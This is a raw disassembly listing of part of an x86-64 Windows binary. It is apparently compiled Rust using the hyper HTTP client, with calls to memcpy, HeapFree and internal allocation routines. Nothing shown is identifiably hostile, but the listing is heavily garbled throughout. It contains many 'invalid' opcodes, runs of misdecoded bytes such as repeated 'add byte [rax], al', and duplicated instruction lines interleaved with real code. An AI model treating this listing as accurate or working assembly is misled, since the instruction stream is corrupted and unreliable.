call sub.VCRUNTIME140.dll_memcpy
lea r15, [rsp + 0x1c70]
mov rcx, r15
mov rdx, r13
call qword [rdi + 0x50]
mov byte [rsp + 0x1c89], bpl
mov r14, qword [rsp + 0x1c70]
mov rsi, qword [rsp + 0x1c78]
mov rax, qword [rsp + 0x1c80]
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x1c88]
mov byte [rsp + 0x30], al
lea rcx, [rsp + 0x1c78]
mov eax, dword [rcx + 0x11]
mov ecx, dword [rcx + 0x14]
mov dword [rsp + 0x7c0], eax
mov dword [rsp + 0x7c3], ecx
test bl, bl
je 0x140074e60
mov rcx, r15
mov rdx, r13
call qword [rdi + 0x78]
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x1c70], rax
je 0x140074e60
mov eax, dword [rsp + 0x7c0]
mov ecx, dword [rsp + 0x7c3]
mov dword [rsp + 0x1b3], ecx
mov dword [rsp + 0x1b0], eax
movzx eax, byte [rsp + 0xda8]
movzx ecx, byte [rsp + 0x30]
or cl, al
jne 0x140075060
invalid
test esi, esi
je 0x140074f8d
mov rcx, r14
mov rbp, r14
mov r14, rbx
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140074f8d
mov r8, rbp
cmp qword [rbx + 0x10], 0x11
jb 0x140074f7e
mov r8, qword [r8 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
lock dec qword [rcx]
jne 0x140074f9d
call fcn.140036760
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140074fc6
cmp qword [rdi + 0x10], 0x11
jb 0x140074fb4
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xd90]
test rax, rax
mov rcx, qword [rsp + 0x38]
je 0x140074ff0
lock dec qword [rax]
jne 0x140074ff0
call fcn.140066c70
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0xd38]
test rax, rax
je 0x14007501d
lock dec qword [rax]
jne 0x14007501d
mov rcx, qword [rsp + 0xd38]
mov rdx, qword [rsp + 0xd40]
call fcn.1400049d0
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0xd98]
mov eax, dword [rsp + 0xd98]
mov bl, 2
test rax, rax
je 0x1400733f8
invalid
invalid
invalid
lock dec qword [rax]
jne 0x1400733f8
mov rcx, qword [rsp + 0xd98]
mov rdx, qword [rsp + 0xda0]
call fcn.1400049d0
dec dword [rax - 0x75]
and al, 0x38
cwde
or eax, 0x8b480000
xchg esp, eax
and al, 0xa0
or eax, 0x81e80000
stc
clc
dec dword [rax - 0x75]
and al, 0x38
jmp 0x1400733f8
ror byte [rdi], 0x85
add dl, ah
invalid
invalid
cmp rcx, 1
jne 0x140078fa7
movzx r13d, byte [rdx + 0x78]
cmp r13b, 4
mov dh, 0x6a
js 0x140075113
cmp ch, 4
jne case.default.0x1400750fc
test ecx, esi
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
and al, 0xa8
mov rax, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 + 0x38], cl
add byte [rax], al
mov r15, qword [rax]
movzx eax, byte [r15 + 0x111]
lea rcx, [0x14017474c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [r15 + 0x98]
mov qword [rsp + 0x3430], rax
xor byte [rax + rax], dh
add byte [rcx + 0xf], al
adc byte [rdi + 0x88], al
xor byte [rax + rax], dh
add byte [rcx + 0xf], al
adc byte [rdi + 0x88], al
add byte [rax], al
movaps xmmword [rsp + 0x3420], xmm0
mov rax, qword [r15 + 0x68]
test rax, rax
je 0x14007533d
mov rcx, qword [r15 + 0x70]
lock inc qword [rax]
jg 0x14007533d
add byte [rax], al
add byte [rax], al
jmp case.0x1400750fc.2
lea rcx, [rsp + 0x34a8]
call fcn.140072530
mov rax, qword [rsp + 0x34e0]
loopne 0x140075184
add byte [rax], al
loopne 0x140075184
add byte [rax], al
test rax, rax
je 0x14007516a
lock dec qword [rax]
jne 0x14007516a
dec dword [rax - 0x75]
test byte [rax + rcx*4], ah
xor al, 0
add byte [rax - 0x7b], cl
sal byte [rbx + rbx - 0x10], 0x48
dec dword [rax]
jne 0x140075192
mov rax, qword [rsp + 0x3488]
test rax, rax
je 0x140075192
mov rcx, qword [rsp + 0x3488]
mov rdx, qword [rsp + 0x3490]
mov edx, dword [rsp + 0x3490]
mov byte [rax + rax], dh
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x90
xor al, 0
add al, ch
clc
clc
dec dword [rcx + rcx*4 + 0x6c]
and al, 0x30
invalid
mov edx, dword [rsp + 0x3490]
call fcn.1400049d0
mov qword [rsp + 0x30], r13
xor byte [rax - 0x75], cl
test byte [rax + rbp*8], ah
xor al, 0
add byte [rax - 0x7b], cl
sal byte [rbx + rbx - 0x10], 0x48
mov rax, qword [rsp + 0x34e8]
test rax, rax
je 0x1400751bf
lock dec qword [rax]
dec dword [rax]
jne 0x1400751bf
mov rcx, qword [rsp + 0x34e8]
mov rdx, qword [rsp + 0x34f0]
invalid
xor al, 0
add al, ch
adc eax, edi
clc
invalid
invalid
add al, ch
adc eax, edi
clc
inc dword [rcx - 0x4b]
add cl, byte [rax - 0x75]
push rsp
and al, 0x38
mov r13b, 2
mov rdx, qword [rsp + 0x38]
jmp 0x140078d77
cmp eax, dword [rax]
add dh, al
mov byte [rdx + 0x78], 3
mov byte [rdx + 0x78], 3
cmp r13b, 3
je 0x140079087
invalid
add ecx, dword [rdi]
test byte [rbp + 0x4800003e], ch
add byte [rax - 0x75], cl
or byte [rax - 0x77], cl
and al, 0x30
add byte [rax - 0x75], cl
or byte [rax - 0x77], cl
and al, 0x30
mov rsi, qword [rdx + 0x10]
movups xmm0, xmmword [rdx + 0x28]
sub byte [rdi], cl
sub dword [rsp + 0x6b0], eax
sub byte [rdi], cl
sub dword [rsp + 0x6b0], eax
movups xmm0, xmmword [rdx + 0x18]
movaps xmmword [rsp + 0x6a0], xmm0
movups xmm6, xmmword [rdx + 0x38]
movzx r12d, byte [rdx + 0x48]
invalid
mov rax, qword [rdx + 0x4c]
mov dword [rsp + 0x11b], eax
mov eax, dword [rdx + 0x49]
mov dword [rsp + 0x118], eax
mov rbp, qword [rdx + 0x50]
movups xmm7, xmmword [rdx + 0x58]
movzx edi, byte [rdx + 0x68]
movzx ebx, byte [rdx + 0x69]
movzx eax, word [rdx + 0x6e]
mov word [rsp + 0xd4], ax
add byte [rax], al
invalid
add byte [rax], al
mov eax, dword [rdx + 0x6a]
mov dword [rsp + 0xd0], eax
mov r14, qword [rdx + 0x70]
push 0xffffffffffffff89
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x72], cl
jo 0x14007528f
invalid
mov rcx, qword [rsp + 0xe8]
mov ecx, dword [rsp + 0xe8]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x1b8], eax
mov eax, 0x89000001
mov word [rbx + rdi*4], fs
add dword [rax], eax
add cl, ch
adc dword [rbx], edi
add byte [rax], al
mov eax, 0x89000001
mov word [rbx + rdi*4], fs
add dword [rax], eax
add cl, ch
adc dword [rbx], edi
add byte [rax], al
lea rdi, [r15 + 0x148]
add qword [rax], rax
add byte [rcx + 0xf], al
mov dh, 0x87
add qword [rax], rax
add byte [rcx - 0x73], cl
mov bh, 0x18
add dword [rax], eax
add byte [rbp - 0x287bf040], al
xor dword [rax], eax
invalid
add qword [rax], rax
add byte [rcx + 0xf], al
mov dh, 0x87
add qword [rax], rax
add byte [rcx - 0x73], cl
mov bh, 0x18
add dword [rax], eax
add byte [rbp - 0x287bf040], al
xor dword [rax], eax
add byte [rbx - 0x7bf0fc08], al
cmp eax, 3
je 0x140078473
out 0x31, al
add byte [rax], al
out 0x31, al
add byte [rax], al
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
or eax, 0xc7ac4
call fcn.140104c30
lea rax, [r15 + 0x438]
mov qword [rsp + 0x58], rax
movzx eax, byte [r15 + 0x438]
lea r13, [r15 + 0x118]
test eax, eax
je 0x140075477
cmp eax, 3
jne 0x140079192
lea r11, [r15 + 0x430]
movzx eax, byte [r15 + 0x430]
lea r14, [r15 + 0x1d0]
test eax, eax
je 0x1400756fe
movzx edx, word [r15 + 0x64]
mov r8d, dword [r15 + 0x60]
mov r9d, dword [r15 + 0x48]
mov r10, qword [r15 + 0x40]
mov r11, qword [r15 + 0x30]
mov esi, dword [r15 + 0x38]
movups xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqu xmm2, xmmword [r15 + 0x20]
mov rdi, qword [r15 + 0x50]
movzx ebx, word [r15 + 0x80]
mov r14, qword [rsp + 0x3430]
mov qword [rsp + 0xce6], r14
movaps xmm3, xmmword [rsp + 0x3420]
movups xmmword [rsp + 0xcd6], xmm3
movdqu xmm3, xmmword [rsp + 0xcd0]
movdqa xmmword [rsp + 0x4e0], xmm3
mov r14, qword [rsp + 0xcde]
mov qword [rsp + 0x4ee], r14
mov r14, qword [rsp + 0xce6]
mov qword [rsp + 0x4f6], r14
lea r13, [r15 + 0x118]
movups xmmword [r15 + 0x118], xmm0
movdqu xmmword [r15 + 0x128], xmm1
movdqu xmmword [r15 + 0x138], xmm2
mov qword [r15 + 0x148], r11
mov dword [r15 + 0x150], esi
mov qword [r15 + 0x158], r10
mov dword [r15 + 0x160], r9d
mov qword [r15 + 0x168], rdi
mov r9, qword [r15 + 0x58]
mov r10, qword [r15 + 0x78]
mov qword [r15 + 0x170], r9
mov dword [r15 + 0x178], r8d
mov word [r15 + 0x17c], dx
mov qword [r15 + 0x180], rax
mov qword [r15 + 0x188], rcx
mov qword [r15 + 0x190], r10
mov word [r15 + 0x198], bx
movups xmm0, xmmword [rsp + 0x4ee]
movups xmmword [r15 + 0x1a8], xmm0
movaps xmm0, xmmword [rsp + 0x4e0]
movups xmmword [r15 + 0x19a], xmm0
lea rax, [r15 + 0x438]
mov qword [rsp + 0x58], rax
mov byte [r15 + 0x438], 0
movzx eax, byte [0x14017d2b0]
mov edx, 0x2320
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400790ba
add byte [rdi], cl
adc dword [rsp + 0x7d8], eax
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x7e8], rax
lea rcx, [rsp + 0x7f0]
lea rdx, [rsp + 0x43c0]
mov r8d, 0x350
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0xb40], 2
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0xb58], rax
movaps xmm0, xmmword [rsp + 0x5e0]
movups xmmword [rsp + 0xb48], xmm0
mov qword [rsp + 0xb60], 0
movaps xmm0, xmmword [rsp + 0x320]
movaps xmm1, xmmword [rsp + 0x330]
movups xmmword [rsp + 0xb70], xmm0
movups xmmword [rsp + 0xb80], xmm1
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0xbb2], rax
mov rax, qword [rsp + 0x2ae]
mov qword [rsp + 0xbb8], rax
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0xbc1], eax
mov eax, dword [rsp + 0x1d3]
mov dword [rsp + 0xbc4], eax
movaps xmm0, xmmword [rsp + 0x300]
movaps xmm1, xmmword [rsp + 0x310]
movups xmmword [rsp + 0xbf0], xmm1
movups xmmword [rsp + 0xbe0], xmm0
movzx eax, word [rsp + 0x84]
mov word [rsp + 0xc3d], ax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0xc3f], al
movaps xmm0, xmmword [rsp + 0x5a0]
movdqa xmm1, xmmword [rsp + 0x5b0]
movdqa xmm2, xmmword [rsp + 0x5c0]
movups xmmword [rsp + 0xc44], xmm0
movdqu xmmword [rsp + 0xc54], xmm1
movdqu xmmword [rsp + 0xc64], xmm2
movups xmm0, xmmword [rsp + 0x5cc]
movups xmmword [rsp + 0xc70], xmm0
mov qword [rsp + 0x7c0], rsi
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x7c8], al
mov qword [rsp + 0x7d0], rbp
mov qword [rsp + 0xb68], 0
mov dword [rsp + 0xb90], 0
mov word [rsp + 0xb9c], 0
mov qword [rsp + 0xba0], 0
mov byte [rsp + 0xba8], 0
mov byte [rsp + 0xbb1], 2
mov byte [rsp + 0xbc0], 0
mov qword [rsp + 0xbc8], r14
mov qword [rsp + 0x218], rdi
mov qword [rsp + 0xbd0], rdi
mov qword [rsp + 0xbd8], 0
mov dword [rsp + 0xc00], 1
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0xc04], eax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0xc08], eax
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0xc0c], eax
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0xc10], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0xc14], eax
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0xc18], eax
mov eax, dword [rsp + 0x1a0]
mov dword [rsp + 0xc1c], eax
mov eax, dword [rsp + 0x148]
mov dword [rsp + 0xc20], eax
mov eax, dword [rsp + 0x1f0]
mov dword [rsp + 0xc24], eax
mov eax, dword [rsp + 0x214]
mov dword [rsp + 0xc28], eax
mov eax, dword [rsp + 0x210]
mov dword [rsp + 0xc2c], eax
mov eax, dword [rsp + 0x20c]
mov dword [rsp + 0xc30], eax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0xc34], eax
mov eax, dword [rsp + 0x198]
mov dword [rsp + 0xc38], eax
movzx eax, byte [rsp + 0x188]
mov byte [rsp + 0xc3c], al
mov dword [rsp + 0xc40], 2
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140079283
mov rbx, rax
mov qword [rax], 0
movzx eax, byte [0x14017d2b0]
mov edx, 0x10
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140079292
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x60
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400792a1
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], r13
mov qword [rax + 0x30], 1
mov qword [rax + 0x38], r12
mov qword [rax + 0x40], 1
mov qword [rax + 0x48], 0
mov qword [rax + 0x58], 0
mov qword [rsp + 0xe0], rax
lock inc qword [rax]
jle case.0x1400750fc.2
movzx eax, byte [0x14017d2b0]
mov edx, 0x30
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14007909f
mov qword [rax], 1
mov qword [rax + 8], 1
mov word [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov qword [rsp + 0x190], rax
mov byte [rax + 0x28], 0
movzx eax, byte [0x14017d2b0]
mov edx, 0x48
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400792b0
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov byte [rax + 0x38], 0
mov word [rax + 0x40], 0
mov qword [rsp + 0x48], rax
lock inc qword [rax]
jle case.0x1400750fc.2
mov rax, qword [r15 + 0x380]
movzx r12d, byte [rax + 0x44]
mov esi, dword [rax + 0x3c]
mov rcx, qword [rax + 0x20]
mov ebp, dword [rax + 0x28]
mov r13, qword [rax + 0x10]
mov edi, dword [rax + 0x18]
movzx ebx, byte [rax + 0x45]
test r12d, r12d
jne 0x140076ef0
cmp ebp, 0x3b9aca00
jne 0x140076ef0
lea rcx, [rsp + 0x1c70]
lea rdx, [rsp + 0x7c0]
mov r8d, 0x4c0
call sub.VCRUNTIME140.dll_memcpy
mov edi, 2
xor r12d, r12d
jmp 0x140077066
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0xba0]
call fcn.14001fb30
test rax, rax
je 0x14007935f
mov dword [rsp + 0xcd0], r12d
mov dword [rsp + 0xcd4], esi
mov qword [rsp + 0xcd8], r13
mov dword [rsp + 0xce0], edi
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0xce8], rcx
mov dword [rsp + 0xcf0], ebp
mov byte [rsp + 0xcf8], bl
lea rcx, [rsp + 0x3420]
lea r8, [rsp + 0xcd0]
mov rdx, rax
call fcn.1400392b0
mov r12, qword [rsp + 0x3420]
movups xmm0, xmmword [rsp + 0x3478]
movups xmmword [rsp + 0x11d8], xmm0
movups xmm0, xmmword [rsp + 0x3468]
movups xmmword [rsp + 0x11c8], xmm0
movups xmm0, xmmword [rsp + 0x3458]
movups xmmword [rsp + 0x11b8], xmm0
movups xmm0, xmmword [rsp + 0x3448]
movups xmmword [rsp + 0x11a8], xmm0
movups xmm0, xmmword [rsp + 0x3438]
movups xmmword [rsp + 0x1198], xmm0
movups xmm0, xmmword [rsp + 0x3428]
movups xmmword [rsp + 0x1188], xmm0
mov rdi, qword [rsp + 0x7c0]
lea rbp, [rsp + 0xcd0]
mov r8d, 0x4b8
mov rcx, rbp
lea rdx, [rsp + 0x7c8]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x1c70]
mov r8d, 0x4c0
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x1190]
movdqu xmm1, xmmword [rsp + 0x11a0]
movdqu xmm2, xmmword [rsp + 0x11b0]
movdqu xmm3, xmmword [rsp + 0x11c0]
movaps xmmword [rsp + 0x3b0], xmm0
movdqa xmmword [rsp + 0x3c0], xmm1
movdqa xmmword [rsp + 0x3d0], xmm2
movdqa xmmword [rsp + 0x3e0], xmm3
movups xmm0, xmmword [rsp + 0x11d0]
movaps xmmword [rsp + 0x3f0], xmm0
mov rax, qword [rsp + 0x11e0]
mov qword [rsp + 0x400], rax
mov rbx, qword [r15 + 0x1f0]
test rbx, rbx
je 0x1400771bd
mov rbp, r12
mov r12, qword [r15 + 0x1f8]
mov r13, qword [r12 + 0x10]
movzx eax, byte [0x14017d2b0]
mov edx, 0xf98
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140079341
mov rsi, rax
dec r13
and r13, 0xfffffffffffffff0
add rbx, r13
add rbx, 0x10
mov qword [rax], 1
mov rax, qword [rsp + 0xe0]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdi
mov rcx, rsi
add rcx, 0x18
lea rdx, [rsp + 0x1c70]
mov r8d, 0x4c0
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x3b0]
movdqa xmm1, xmmword [rsp + 0x3c0]
movdqa xmm2, xmmword [rsp + 0x3d0]
movdqa xmm3, xmmword [rsp + 0x3e0]
movups xmmword [rsi + 0x4d8], xmm0
movdqu xmmword [rsi + 0x4e8], xmm1
movdqu xmmword [rsi + 0x4f8], xmm2
movdqu xmmword [rsi + 0x508], xmm3
movaps xmm0, xmmword [rsp + 0x3f0]
movups xmmword [rsi + 0x518], xmm0
mov rax, qword [rsp + 0x400]
mov qword [rsi + 0x528], rax
mov rdi, qword [rsp + 0x48]
mov qword [rsi + 0x530], rdi
mov byte [rsi + 0xa58], 0
lea r8, fcn.14007ba60
mov rcx, rbx
mov rdx, rsi
call qword [r12 + 0x18]
mov r13, qword [rsp + 0x30]
mov r12, rbp
jmp 0x140077602
mov eax, 1
lock xadd qword [0x14017d058], rax
mov qword [rsp + 0x2130], rax
mov qword [rsp + 0x2480], 1
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x2488], rax
mov qword [rsp + 0x2490], rdi
lea rcx, [rsp + 0x2498]
lea rdx, [rsp + 0x1c70]
mov r8d, 0x4c0
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x3b0]
movdqa xmm1, xmmword [rsp + 0x3c0]
movdqa xmm2, xmmword [rsp + 0x3d0]
movdqa xmm3, xmmword [rsp + 0x3e0]
movups xmmword [rsp + 0x2958], xmm0
movdqu xmmword [rsp + 0x2968], xmm1
movdqu xmmword [rsp + 0x2978], xmm2
movdqu xmmword [rsp + 0x2988], xmm3
movaps xmm0, xmmword [rsp + 0x3f0]
movups xmmword [rsp + 0x2998], xmm0
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x29a8], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x29b0], rax
mov byte [rsp + 0x2ed8], 0
lea rax, [rsp + 0x2130]
mov qword [rsp + 0x3418], rax
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
mov r13, qword [rsp + 0x30]
je 0x1400772f6
test eax, eax
jne 0x140079400
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
lea rcx, [rsp + 0x3420]
lea rdx, [rsp + 0x2480]
mov r8d, 0xfa0
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140079277
inc rax
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rsi, qword [rcx + 0xd8]
lea rcx, [rsp + 0xcd0]
lea rdx, [rsp + 0x2480]
mov r8d, 0xfa0
call sub.VCRUNTIME140.dll_memcpy
cmp rsi, 2
je 0x1400793a1
mov rax, qword [rsp + 0x1c68]
mov rdi, qword [rax]
test rsi, rsi
mov qword [rsp + 0x78], r12
je 0x1400774c0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x1400750fc.2
movzx eax, byte [0x14017d2b0]
mov edx, 0x1080
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400793e5
mov r12, rax
and r12, 0xffffffffffffff80
lea rsi, [r12 + 0x80]
mov qword [r12 + 0x78], rax
lea rbp, [rbx + 0x68]
mov qword [r12 + 0x80], 0xcc
mov qword [r12 + 0x88], 0
lea rax, [0x14013daf0]
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 0
mov qword [r12 + 0xa0], rbx
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
lea rdx, [rsp + 0x3420]
mov r8d, 0xf98
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movups xmmword [r12 + 0x1048], xmm0
mov qword [r12 + 0x1058], 0
mov rcx, rbp
mov rdx, rsi
mov r8, rsi
call fcn.140065e40
test rax, rax
je 0x1400775c3
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400eca20
jmp 0x1400775c3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x1400750fc.2
movzx eax, byte [0x14017d2b0]
mov edx, 0x1080
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400793e5
mov r12, rax
and r12, 0xffffffffffffff80
lea rsi, [r12 + 0x80]
mov qword [r12 + 0x78], rax
mov qword [r12 + 0x80], 0xcc
mov qword [r12 + 0x88], 0
lea rax, case.0x140092aab.132
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 0
mov qword [r12 + 0xa0], rbx
add rbx, 0x58
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
lea rdx, [rsp + 0x3420]
mov r8d, 0xf98
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movups xmmword [r12 + 0x1048], xmm0
mov qword [r12 + 0x1058], 0
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.140065e40
test rax, rax
je 0x1400775c3
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eb0b0
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x78]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x140077602
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
mov rsi, qword [r15 + 0x1f0]
mov rax, qword [r15 + 0x1f8]
mov qword [rsp + 0xb8], rax
mov rax, qword [r15 + 0x1e0]
mov qword [rsp + 0x188], rax
mov rax, qword [r15 + 0x1e8]
mov qword [rsp + 0xb0], rax
mov byte [r15 + 0x430], 1
mov rcx, qword [rsp + 0x60]
call fcn.140072a00
mov rbp, r12
shr rbp, 8
mov rax, r12
shr rax, 0x30
mov qword [rsp + 0x50], rax
mov rax, r12
shr rax, 0x38
mov qword [rsp + 0x60], rax
mov edx, esi
shr edx, 8
mov ecx, esi
shr ecx, 0x10
mov r8d, esi
shr r8d, 0x18
mov rax, rsi
mov qword [rsp + 0x68], rsi
shr rsi, 0x20
mov qword [rsp + 0x88], rsi
mov eax, 2
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x70], eax
mov rax, qword [r15 + 0x1b8]
mov qword [rsp + 0x30], rax
movdqu xmm0, xmmword [r15 + 0x1c0]
movdqa xmmword [rsp + 0x740], xmm0
mov rax, qword [r15 + 0x180]
test rax, rax
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x98], rdx
mov dword [rsp + 0xa0], r8d
mov dword [rsp + 0x90], r9d
je 0x140077700
lock dec qword [rax]
jne 0x140077700
mov rcx, qword [r15 + 0x180]
mov rdx, qword [r15 + 0x188]
call fcn.1400049d0
movaps xmm0, xmmword [rsp + 0x740]
movaps xmmword [rsp + 0x700], xmm0
movaps xmm0, xmmword [rsp + 0x520]
movaps xmmword [rsp + 0x500], xmm0
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x510], rax
movaps xmm0, xmmword [rsp + 0x730]
movaps xmmword [rsp + 0x6f0], xmm0
movaps xmm0, xmmword [rsp + 0x720]
movaps xmmword [rsp + 0x6e0], xmm0
mov rax, qword [rsp + 0x58]
mov byte [rax], 1
movaps xmm0, xmmword [rsp + 0x700]
movaps xmmword [rsp + 0x710], xmm0
movups xmm0, xmmword [rsp + 0x750]
movups xmm1, xmmword [rsp + 0x760]
movdqu xmm2, xmmword [rsp + 0x770]
movdqu xmm3, xmmword [rsp + 0x780]
movaps xmmword [rsp + 0x450], xmm0
movaps xmmword [rsp + 0x460], xmm1
movdqa xmmword [rsp + 0x470], xmm2
movdqa xmmword [rsp + 0x480], xmm3
movups xmm0, xmmword [rsp + 0x790]
movaps xmmword [rsp + 0x490], xmm0
mov rax, qword [rsp + 0x7a0]
mov qword [rsp + 0x4a0], rax
mov eax, dword [rsp + 0x2d2]
mov ecx, dword [rsp + 0x2d5]
mov dword [rsp + 0x10b], ecx
mov dword [rsp + 0x108], eax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x2f0], rax
movaps xmm0, xmmword [rsp + 0x500]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [rsp + 0x6f0]
movaps xmmword [rsp + 0x4d0], xmm0
mov eax, dword [rsp + 0x2cb]
mov ecx, dword [rsp + 0x2ce]
mov dword [rsp + 0x100], eax
mov dword [rsp + 0x103], ecx
mov eax, dword [rsp + 0x2a2]
mov dword [rsp + 0xc8], eax
movzx eax, word [rsp + 0x2a6]
mov word [rsp + 0xcc], ax
movaps xmm0, xmmword [rsp + 0x6e0]
movaps xmmword [rsp + 0x4c0], xmm0
movzx eax, word [rsp + 0x2a0]
mov word [rsp + 0xc4], ax
mov eax, dword [rsp + 0x29c]
mov dword [rsp + 0xc0], eax
movups xmm0, xmmword [rsp + 0xc80]
movaps xmmword [rsp + 0x4b0], xmm0
mov rax, qword [rsp + 0x16f]
mov qword [rsp + 0x39f], rax
movdqu xmm0, xmmword [rsp + 0x150]
add dword [rax], eax
add bl, dh
movq mm1, qword [rsp + 0x160]
add dword [rax], eax
add bl, dh
movq mm1, qword [rsp + 0x160]
movdqa xmmword [rsp + 0x390], xmm1
movdqa xmmword [rsp + 0x380], xmm0
mov eax, dword [rsp + 0x2c4]
mov ecx, dword [rsp + 0x2c7]
mov dword [rsp + 0xfb], ecx
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0x2bd]
mov ecx, dword [rsp + 0x2c0]
mov dword [rsp + 0xf3], ecx
mov dword [rsp + 0xf0], eax
mov rcx, r13
call fcn.1400726f0
cmp dword [rsp + 0x48], 4
jne 0x140077915
mov r13, qword [rsp + 0x30]
jmp 0x14007863f
movaps xmm0, xmmword [rsp + 0x710]
movaps xmmword [rsp + 0x6d0], xmm0
invalid
add byte [rax], al
mov r13, qword [r15 + 0xf8]
test r13, r13
je 0x140077d0e
invalid
mov qword [rsp + 0x58], rbp
mov rax, qword [r15 + 0x100]
mov qword [rsp + 0x1f0], rax
mov rbp, qword [rax + 0x10]
movzx eax, byte [0x14017d2b0]
mov edx, 0x1e8
